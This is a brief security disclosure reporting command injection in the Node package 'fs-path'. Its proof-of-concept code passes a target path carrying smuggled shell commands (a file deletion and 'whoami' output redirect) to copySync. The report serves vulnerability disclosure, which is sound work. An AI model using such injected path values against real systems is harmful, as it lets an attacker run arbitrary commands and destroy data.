`fs-path` concatenates unsanitized input into exec()/execSync() commands

I would like to report command injection in `fs-path`. It allows to inject and execute arbitrary shell commands while performing various operations from `fs-path` API like copying files.

const fsPath = require('fs-path');
const source = '/bin/ls';
const target =  '/tmp/foo;rm\t/tmp/foo;whoami>\t/tmp/bar';
fsPath.copySync(source, target);